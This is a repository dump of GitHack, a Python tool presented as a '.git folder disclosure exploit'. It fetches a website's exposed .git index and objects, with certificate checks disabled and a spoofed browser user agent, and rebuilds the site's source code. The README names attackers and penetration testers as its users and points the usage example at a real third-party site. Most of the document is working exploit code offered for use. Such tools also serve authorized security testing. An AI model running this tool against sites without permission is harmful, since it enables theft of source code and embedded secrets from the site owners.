├── GitHack.py ├── README.md └── lib ├── __init__.py └── parser.py /GitHack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | 4 | import sys 5 | try: 6 | # python 2.x 7 | import urllib2 8 | import urlparse 9 | import Queue 10 | except Exception as e: 11 | # python 3.x 12 | import urllib.request as urllib2 13 | import urllib.parse as urlparse 14 | import queue as Queue 15 | 16 | import os 17 | import zlib 18 | import threading 19 | import re 20 | import time 21 | from lib.parser import parse 22 | import ssl 23 | 24 | context = ssl._create_unverified_context() 25 | user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' \ 26 | 'Chrome/99.0.4844.82 Safari/537.36' 27 | if len(sys.argv) == 1: 28 | msg = """ 29 | A `.git` folder disclosure exploit. By LiJieJie 30 | 31 | Usage: python GitHack.py http://www.target.com/.git/ 32 | """ 33 | print(msg) 34 | sys.exit(0) 35 | 36 | 37 | class Scanner(object): 38 | def __init__(self): 39 | self.base_url = sys.argv[-1] 40 | self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_') 41 | print('[+] Download and parse index file ...') 42 | try: 43 | data = self._request_data(sys.argv[-1] + '/index') 44 | except Exception as e: 45 | print('[ERROR] index file download failed: %s' % str(e)) 46 | exit(-1) 47 | with open('index', 'wb') as f: 48 | f.write(data) 49 | if not os.path.exists(self.domain): 50 | os.mkdir(self.domain) 51 | self.dest_dir = os.path.abspath(self.domain) 52 | self.queue = Queue.Queue() 53 | for entry in parse('index'): 54 | if "sha1" in entry.keys(): 55 | entry_name = entry["name"].strip() 56 | if self.is_valid_name(entry_name): 57 | self.queue.put((entry["sha1"].strip(), entry_name)) 58 | try: 59 | print('[+] %s' % entry['name']) 60 | except Exception as e: 61 | pass 62 | 63 | self.lock = threading.Lock() 64 | self.thread_count = 10 65 | self.STOP_ME = False 66 | 67 | def is_valid_name(self, entry_name): 68 | if entry_name.find('..') >= 0 or \ 69 | entry_name.startswith('/') or \ 70 | entry_name.startswith('\\') or \ 71 | not os.path.abspath(os.path.join(self.domain, entry_name)).startswith(self.dest_dir): 72 | try: 73 | print('[ERROR] Invalid entry name: %s' % entry_name) 74 | except Exception as e: 75 | pass 76 | return False 77 | return True 78 | 79 | @staticmethod 80 | def _request_data(url): 81 | request = urllib2.Request(url, None, {'User-Agent': user_agent}) 82 | return urllib2.urlopen(request, context=context).read() 83 | 84 | def _print(self, msg): 85 | self.lock.acquire() 86 | try: 87 | print(msg) 88 | except Exception as e: 89 | pass 90 | self.lock.release() 91 | 92 | def get_back_file(self): 93 | while not self.STOP_ME: 94 | try: 95 | sha1, file_name = self.queue.get(timeout=0.5) 96 | except Exception as e: 97 | break 98 | for i in range(3): 99 | try: 100 | folder = '/objects/%s/' % sha1[:2] 101 | data = self._request_data(self.base_url + folder + sha1[2:]) 102 | try: 103 | data = zlib.decompress(data) 104 | except: 105 | self._print('[Error] Fail to decompress %s' % file_name) 106 | # data = re.sub(r'blob \d+\00', '', data) 107 | try: 108 | data = re.sub(r'blob \d+\00', '', data) 109 | except Exception as e: 110 | data = re.sub(b"blob \\d+\00", b'', data) 111 | target_dir = os.path.join(self.domain, os.path.dirname(file_name)) 112 | if target_dir and not os.path.exists(target_dir): 113 | os.makedirs(target_dir) 114 | with open(os.path.join(self.domain, file_name), 'wb') as f: 115 | f.write(data) 116 | self._print('[OK] %s' % file_name) 117 | break 118 | except urllib2.HTTPError as e: 119 | if str(e).find('HTTP Error 404') >= 0: 120 | self._print('[File not found] %s' % file_name) 121 | break 122 | except Exception as e: 123 | self._print('[Error] %s' % str(e)) 124 | self.exit_thread() 125 | 126 | def exit_thread(self): 127 | self.lock.acquire() 128 | self.thread_count -= 1 129 | self.lock.release() 130 | 131 | def scan(self): 132 | for i in range(self.thread_count): 133 | t = threading.Thread(target=self.get_back_file) 134 | t.start() 135 | 136 | 137 | if __name__ == '__main__': 138 | s = Scanner() 139 | s.scan() 140 | try: 141 | while s.thread_count > 0: 142 | time.sleep(0.1) 143 | except KeyboardInterrupt as e: 144 | s.STOP_ME = True 145 | time.sleep(1.0) 146 | print('User Aborted.') 147 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GitHack 2 | 3 | 4 | ### This is important 5 | ### All users please git pull to update source code. (2022-05-09) 6 | 7 | GitHack is a `.git` folder disclosure exploit. 8 | 9 | It rebuild source code from .git folder while keep directory structure unchanged. 10 | 11 | GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。 12 | 13 | 渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。 14 | 15 | ## Change Log 16 | 17 | * 2022-05-09: Bug fix, thanks [@justinsteven](https://github.com/justinsteven) . 18 | * 2022-04-07:Fix arbitrary file write vulnerability. Thanks for [@justinsteven](https://github.com/justinsteven) \'s bug report, it's very helpful. 19 | * 2022-04-07:Add python3.x support 20 | 21 | ## How It works ## 22 | 23 | * 解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 ) 24 | * 去.git/objects/ 文件夹下下载对应的文件 25 | * zlib解压文件,按原始的目录结构写入源代码 26 | 27 | ## Usage ## 28 | python GitHack.py http://www.openssl.org/.git/ 29 | 30 | ## Thanks ## 31 | Thanks for sbp's great work, I used his .git index parser [gin - a Git index file parser](https://github.com/sbp/gin). 32 | 33 | -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/GitHack/a3d70b19f29d2f624dcae17762022edf7464cee1/lib/__init__.py -------------------------------------------------------------------------------- /lib/parser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # https://github.com/git/git/blob/master/Documentation/technical/index-format.txt 4 | # 5 | 6 | import binascii 7 | import collections 8 | import mmap 9 | import struct 10 | import sys 11 | 12 | 13 | def check(boolean, message): 14 | if not boolean: 15 | import sys 16 | print("error: " + message) 17 | sys.exit(1) 18 | 19 | 20 | def parse(filename, pretty=True): 21 | with open(filename, "rb") as o: 22 | f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ) 23 | 24 | def read(format): 25 | # "All binary numbers are in network byte order." 26 | # Hence "!" = network order, big endian 27 | format = "! " + format 28 | bytes = f.read(struct.calcsize(format)) 29 | return struct.unpack(format, bytes)[0] 30 | 31 | index = collections.OrderedDict() 32 | 33 | # 4-byte signature, b"DIRC" 34 | index["signature"] = f.read(4).decode("ascii") 35 | check(index["signature"] == "DIRC", "Not a Git index file") 36 | 37 | # 4-byte version number 38 | index["version"] = read("I") 39 | check(index["version"] in {2, 3}, 40 | "Unsupported version: %s" % index["version"]) 41 | 42 | # 32-bit number of index entries, i.e. 4-byte 43 | index["entries"] = read("I") 44 | 45 | yield index 46 | 47 | for n in range(index["entries"]): 48 | entry = collections.OrderedDict() 49 | 50 | entry["entry"] = n + 1 51 | 52 | entry["ctime_seconds"] = read("I") 53 | entry["ctime_nanoseconds"] = read("I") 54 | if pretty: 55 | entry["ctime"] = entry["ctime_seconds"] 56 | entry["ctime"] += entry["ctime_nanoseconds"] / 1000000000 57 | del entry["ctime_seconds"] 58 | del entry["ctime_nanoseconds"] 59 | 60 | entry["mtime_seconds"] = read("I") 61 | entry["mtime_nanoseconds"] = read("I") 62 | if pretty: 63 | entry["mtime"] = entry["mtime_seconds"] 64 | entry["mtime"] += entry["mtime_nanoseconds"] / 1000000000 65 | del entry["mtime_seconds"] 66 | del entry["mtime_nanoseconds"] 67 | 68 | entry["dev"] = read("I") 69 | entry["ino"] = read("I") 70 | 71 | # 4-bit object type, 3-bit unused, 9-bit unix permission 72 | entry["mode"] = read("I") 73 | if pretty: 74 | entry["mode"] = "%06o" % entry["mode"] 75 | 76 | entry["uid"] = read("I") 77 | entry["gid"] = read("I") 78 | entry["size"] = read("I") 79 | 80 | entry["sha1"] = binascii.hexlify(f.read(20)).decode("ascii") 81 | entry["flags"] = read("H") 82 | 83 | # 1-bit assume-valid 84 | entry["assume-valid"] = bool(entry["flags"] & (0b10000000 << 8)) 85 | # 1-bit extended, must be 0 in version 2 86 | entry["extended"] = bool(entry["flags"] & (0b01000000 << 8)) 87 | # 2-bit stage (?) 88 | stage_one = bool(entry["flags"] & (0b00100000 << 8)) 89 | stage_two = bool(entry["flags"] & (0b00010000 << 8)) 90 | entry["stage"] = stage_one, stage_two 91 | # 12-bit name length, if the length is less than 0xFFF (else, 0xFFF) 92 | namelen = entry["flags"] & 0xFFF 93 | 94 | # 62 bytes so far 95 | entrylen = 62 96 | 97 | if entry["extended"] and (index["version"] == 3): 98 | entry["extra-flags"] = read("H") 99 | # 1-bit reserved 100 | entry["reserved"] = bool(entry["extra-flags"] & (0b10000000 << 8)) 101 | # 1-bit skip-worktree 102 | entry["skip-worktree"] = bool(entry["extra-flags"] & (0b01000000 << 8)) 103 | # 1-bit intent-to-add 104 | entry["intent-to-add"] = bool(entry["extra-flags"] & (0b00100000 << 8)) 105 | # 13-bits unused 106 | # used = entry["extra-flags"] & (0b11100000 << 8) 107 | # check(not used, "Expected unused bits in extra-flags") 108 | entrylen += 2 109 | 110 | if namelen < 0xFFF: 111 | entry["name"] = f.read(namelen).decode("utf-8", "replace") 112 | entrylen += namelen 113 | else: 114 | # Do it the hard way 115 | name = [] 116 | while True: 117 | byte = f.read(1) 118 | if byte == "\x00": 119 | break 120 | name.append(byte) 121 | entry["name"] = b"".join(name).decode("utf-8", "replace") 122 | entrylen += 1 123 | 124 | padlen = (8 - (entrylen % 8)) or 8 125 | nuls = f.read(padlen) 126 | check(set(nuls) == set(['\x00']) or set(nuls) == set(b'\x00'), "padding contained non-NUL") 127 | 128 | yield entry 129 | 130 | f.close() 131 | 132 | 133 | 134 | 135 | 136 | --------------------------------------------------------------------------------